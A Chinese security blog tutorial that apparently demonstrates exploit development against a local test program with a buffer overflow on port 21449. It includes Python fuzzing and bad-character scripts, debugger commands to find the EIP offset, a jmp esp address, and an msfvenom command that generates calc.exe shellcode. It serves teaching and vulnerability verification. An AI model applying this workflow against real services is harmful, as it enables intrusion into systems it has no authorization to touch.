查看原文
其他

原创 | 缓冲区溢出漏洞那些事:验证与危害判定篇(文末福利)

梦幻的彼岸 SecIN技术平台 2024-05-25

点击蓝字




关注我们



环境信息


系统:kali、Windows 11
工具:x64dbg、ERC.Xdbg插件、python、msfvenom、ncat、Code with Mu

发现


测试代码

import socketfrom struct import pack
IP = "127.0.0.1"port = 21449
def fuzz(): try: for i in range(0,10000,10): buffer = b"A"*i print("准备发送数据:%s bytes" % i) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(buffer) s.close() except: print("指定端口无法访问")
fuzz()

测试发现,程序接收到过多的信息会导致程序崩溃,猜测可能存在缓冲区溢出漏洞


测试程序正常运行,会启动一个终端

  • 确定崩溃数据范围

为方便查看,在send函数处下断点,这样发送完一次数据后会中断,方便观察到程序在崩溃前接收到的数据访问是多少

程序在460-470崩溃了
更改测试规则,看到发送466程序崩溃了

进一步验证


反汇编分析


看到发送466数据,异常暂停,但数据未溢出到EIP暂时无法利用

增加测试,逐步增加数据发现469时EIP无变化而当发送470数据EIP出现了41(A的16进制,先进后出原则)

证明了469后的数据可被利用

这种测试有点慢,换插件试试


ERC.Xdbg插件辅助测试


先来500个测试代码看看效果(因为以确认了具体数值,实际测试会大很多)

命令:ERC --pattern c 5000

在日志模块会看到输出

备注:未设置插件工作目录的话,默认会在插件所在目录输入测试代码文件
此命令可自定义工作空间路径:ERC --config SetWorkingDirectory 盘符:\自定义路径\

EIP 70413670 (字符串:pA6p)

根据EIP 值的字符串格式定位

ERC --pattern o pA6p

可以看到469直接出现了

验证
先进后出原则:54534554 TSET
坏字符或者说干扰字符排查
嗯有时候需要证明还是需要排查下的
ERC --bytearray 可生成用来判断的文件(txt测试代码、bin对比)
测试代码
# 在这里写上你的代码 :-)import socketfrom struct import pack
IP = "127.0.0.1"port = 21449
def bad_chars(): all_chars = bytes([ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF, 0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF ])
offset = 469 buffer = b"A"*offset eip = b"TEST" payload = buffer + eip + all_chars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((IP, port)) s.send(payload) s.close()
bad_chars()
对比命令:ERC --compare EIP值 盘符:\bin文件所在路径\文件名
看到00后开始不一样了

删除无效字符:ERC --bytearray -bytes 0x00
看到0x00没有使用了

根据此思路删除

ERC --bytearray -bytes 0x00,0x0A,0x0D


危害判定测试

寻找可被利用的地址(这里使用jmp esp进行测试)

621014E3 选择一个进行测试

运行记事本程序生成命令与参数:

msfvenom -p 'windows/exec' CMD='calc.exe' -f 'python' -b '\x00''\x0A''\x0D' 

shell

备注:因系统编码不同会导致终端字符串显示乱码,可输入chcp 65001

结尾:

本篇文章到此告一段落,有缘再见,最后希望可遵守相关法律与道德底线的情况下进行测试。

文末福利
转发此文至朋友圈(不分组,不屏蔽),即可参与下方抽奖

本次奖品是由机械工业出版社独家赞助的《Web漏洞解析与攻防实战》技术书籍。本书是以Web漏洞基本原理为切入点,将相似的漏洞归类,由浅入深、逐一陈述。本书共11章,分别为Web安全概述、计算机网络基础知识、测试工具与靶场环境搭建、传统后端漏洞(上、下)、前端漏洞(上、下)、新后端漏洞(上、下)、逻辑漏洞(上、下),每章以不同的漏洞类型为小节内容,尽可能涵盖已发现和公开的所有重大Web安全漏洞类型。本书配有53个漏洞实战案例,并附赠所有漏洞实战案例的完整源码,方便读者学习,获取方式见封底二维码。

 本书可作为代码审计、渗透测试、应急响应、基线核查、红蓝对抗、防御加固等相关工作从业人员的参考资料,亦可作为企业安全管理者开展企业安全建设的技术指南,还可作为大中专院校及Web安全培训班的Web安全培训教材。

点击图书封面,了解详情


往期推荐



原创 | 某厂商数据库审计系统前台RCE挖掘之旅

原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE

原创 | 从KCON2022议题来看fastjson新版本RCE


继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存